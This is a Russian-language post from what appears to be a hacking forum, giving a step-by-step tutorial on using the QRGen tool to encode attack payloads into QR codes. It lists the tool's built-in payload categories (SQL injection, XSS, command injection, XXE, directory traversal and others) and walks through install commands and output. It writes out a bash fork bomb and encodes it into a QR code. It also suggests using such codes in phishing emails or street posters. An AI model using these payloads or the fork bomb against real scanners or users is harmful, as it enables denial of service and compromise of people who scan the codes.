• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Еще раз о "взломе" QR-кодов

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Тема уже поднималась здесь https://xss.pro/threads/31726/
Еще немного информации о "взломе" QR-кодов. Поговорим все о той же утилите QRGen


Тёмная сторона QR-кодов

В современном мире, QR-коды используют практически везде: упаковки товара в магазинах, ссылки на профиль автора под граффити на улицах, талоны на авио-посадочные места, "быстрые ссылки" на разного рода мероприятия. Именно это делает их интересной целью для энтузиастов в области информационной безопасности. Благодаря многочисленным недостаткам в подавляющей части сканирующих устройств, можно использовать общие уязвимости, используя эксплойты, упакованные в пользовательские QR-коды.

Также, сегодня мы рассмотрим инструмент под названием QRGen.
Например, вредоносный QR-код может быть использован злоумышленником в фишинговом электронном письме или даже может быть просто распечатан и развешан на улицах в качестве постера, который обещает бесплатные предложения или предложения со скидкой. После сканирования кода, например, жертва переходит на небезопасный сайт где подвергает свою конфиденциальную информацию опасности.

Так что же такое QR-коды?

QR-код (англ. Quick Response Code — код быстрого реагирования; сокр. QR code) — товарный знак для типа матричных штрихкодов (или двумерных штрихкодов), изначально разработанных для автомобильной промышленности Японии. Штрихкод — считываемая машиной оптическая метка, содержащая информацию об объекте, к которому она привязана.
QR-код состоит из чёрных квадратов, расположенных в квадратной сетке на белом фоне, которые могут считываться с помощью устройств обработки изображений, таких как камера.
Система QR-кодов стала популярной за пределами автомобильной промышленности благодаря возможности быстрого считывания и большей ёмкости по сравнению со штрихкодами стандарта UPC.
К слову, UPC используют при маркировке товаров в магазинах, так как они могут кодировать только серию цифр и обладают малой ёмкостью . Наверное каждый видел их:

il_570xN.1220111661_kv9k.jpg


Один QR-код может содержать 4 296 символов ASCII, к тому же, никто не запрещал отформатировать данные)
Например, очень удобно использовать QR-код для экспресс-приглашения в вашу wifi-сеть. Например, с помощью бесплатного приложения для Android (на счет IOS не знаю) можно сгенерировать код которым вы можете поделиться с кем-угодно, и при его сканировании, человек будет автоматически подключен к вашей wi-fi сети.

Screenshot_20191018-231232_2.png




QRGen

Относительно большая нагрузка QR-кода может принести пользу злоумышленнику. Данный инструмент закодирует пользовательскую полезную нагрузку в QR-код используя Phyton.
QRGen поставляется со встроенной библиотекой, которая содержит множество популярных эксплойтов.
Доступ к категориям полезных нагрузок, доступных в QRGen, можно получить с помощью флага -I и номера во время выполнения скрипта. Номер и тип полезной нагрузки указаны ниже:
0 : SQL Injections
1 : XSS
2 : Command Injection
3 : Format String
4 : XXE
5 : String Fuzzing
6 : SSI Injection
7 : LFI / Directory Traversal


Шаг 1. Установка QRGen

Скачаем данный инструмент:

git clone https://github.com/h0nus/QRGen

После того как загрузка завершится, перейдём в каталог и перечислим содержимое, чтобы найти файл требований:

Код:
cd QRGen
ls
Вывод: demo.gif qrgen.py README.md requirements.txt words

Для того чтобы убедиться что у нас установлены все библиотеки, запустим установочный файл с помощью следующей команды:

pip3 install -r requirements.txt

Если не сработает, есть альтернативная команда:

python3 -m pip install -r requirements.txt

Шаг 2. Создание полезной нагрузки и вредоносных QR-кодов.

Запустим скрипт, набрав python3 qrgen.py

Код:
~/QRGen$ python3 qrgen.py

  e88 88e   888 88e    e88'Y88
d888 888b  888 888D  d888  'Y   ,e e,  888 8e
C8888 8888D 888 88"  C8888 eeee d88 88b 888 88b
Y888 888P  888 b,    Y888 888P 888   , 888 888
  "88 88"   888 88b,   "88 88"   "YeeP" 888 888
      b
      8b,    QRGen ~ v0.1 ~ by h0nus

usage: qrgen.py -l [number]
usage: qrgen.py -w [/path/to/custom/wordlist]

Payload lists:
0 : SQL Injections
1 : XSS
2 : Command Injection
3 : Format String
4 : XXE
5 : String Fuzzing
6 : SSI Injection
7 : LFI / Directory Traversal

Tool to generate Malformed QRCodes for fuzzing QRCode parsers/reader

optional arguments:
  -h, --help            show this help message and exit

Options for QRGen:
  --list {0,1,2,3,4,5,6,7}, -l {0,1,2,3,4,5,6,7}
                        Set wordlist to use
  --wordlist WORDLIST, -w WORDLIST
                        Use a custom wordlist

Pay attention everywhere, even in the dumbest spot

Для начала, создадим полезную нагрузку содержащую строки формата:

Код:
~/QRGen$ python3 qrgen.py -l 5

  e88 88e   888 88e    e88'Y88
d888 888b  888 888D  d888  'Y   ,e e,  888 8e
C8888 8888D 888 88"  C8888 eeee d88 88b 888 88b
Y888 888P  888 b,    Y888 888P 888   , 888 888
  "88 88"   888 88b,   "88 88"   "YeeP" 888 888
      b
      8b,    QRGen ~ v0.1 ~ by h0nus

Payload path generated..
Path already cleared or deleted..
Generated 46 payloads!
Opening last generated payload...
Thanks for using QRGen, made by H0nus..

Будет сгенерирована несколько QR-кодов, и последний из созданных откроется автоматически.
Вы можете увидеть остальную часть ваших полезных нагрузок:

Код:
~/QRGen$ cd genqr
~/QRGen/genqr$ ls

payload-0.png   payload-19.png  payload-28.png  payload-37.png  payload-4.png
payload-10.png  payload-1.png   payload-29.png  payload-38.png  payload-5.png
payload-11.png  payload-20.png  payload-2.png   payload-39.png  payload-6.png
payload-12.png  payload-21.png  payload-30.png  payload-3.png   payload-7.png
payload-13.png  payload-22.png  payload-31.png  payload-40.png  payload-8.png
payload-14.png  payload-23.png  payload-32.png  payload-41.png  payload-9.png
payload-15.png  payload-24.png  payload-33.png  payload-42.png
payload-16.png  payload-25.png  payload-34.png  payload-43.png
payload-17.png  payload-26.png  payload-35.png  payload-44.png
payload-18.png  payload-27.png  payload-36.png  payload-45.png

Шаг 3. Создание пользовательских полезных нагрузок.

Чтобы создать пользовательскую полезную нагрузку, мы можем сначала создать текстовый файл, содержащий то, что мы хотим закодировать. Каждая строка будет новой полезной нагрузкой.

~/QRGen/genqr$ nano badstuff.txt

В данный текстовый файл поместим нашу полезную нагрузку. Например, создадим форк-бомбу.

:(){ :|: & };:

Мы можем сохранить его, нажав Ctrl+X , затем нажмёмY и Enter, чтобы подтвердить сохранение. Теперь посмотрим на наш текстовый файл, содержащий нашу полезную нагрузку:

Код:
~/QRGen/genqr$ ls

dark_sploit.txt    payload-18.png  payload-27.png  payload-36.png  payload-45.png
payload-0.png   payload-19.png  payload-28.png  payload-37.png  payload-4.png
payload-10.png  payload-1.png   payload-29.png  payload-38.png  payload-5.png
payload-11.png  payload-20.png  payload-2.png   payload-39.png  payload-6.png
payload-12.png  payload-21.png  payload-30.png  payload-3.png   payload-7.png
payload-13.png  payload-22.png  payload-31.png  payload-40.png  payload-8.png
payload-14.png  payload-23.png  payload-32.png  payload-41.png  payload-9.png
payload-15.png  payload-24.png  payload-33.png  payload-42.png
payload-16.png  payload-25.png  payload-34.png  payload-43.png
payload-17.png  payload-26.png  payload-35.png  payload-44.png

Чтобы записать полезную нагрузку в QR-код, мы будем использовать опцию -w . Предполагаем, что ваш файл полезных данных называется «dark_sploit.txt» :

Код:
~/QRGen/genqr$ cd ..
~/QRGen$ python3 qrgen.py -w '/username/QRGen/genqr/dark_sploit.txt'

  e88 88e   888 88e    e88'Y88
d888 888b  888 888D  d888  'Y   ,e e,  888 8e
C8888 8888D 888 88"  C8888 eeee d88 88b 888 88b
Y888 888P  888 b,    Y888 888P 888   , 888 888
  "88 88"   888 88b,   "88 88"   "YeeP" 888 888
      b
      8b,    QRGen ~ v0.1 ~ by h0nus

Payload path exist, continuing...
Path already cleared or deleted..
Generated 1 payloads!
Opening last generated payload...
Thanks for using QRGen, made by H0nus..

В итоге мы получим QR-код с fork-бомбой.


Итог:

QR-коды могут быть опасными, надеюсь я смог доказать вам это)
Единственный способ защититься от данного рода атак - не сканировать QR-коды без особой необходимости.
Так как человек не может узнать что находится в QR-коде, предварительно не просканировав его, сканирование может угрожать конфиденциальности ваших личных данных.

Удачи!

Автор @FuckedTurtle
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх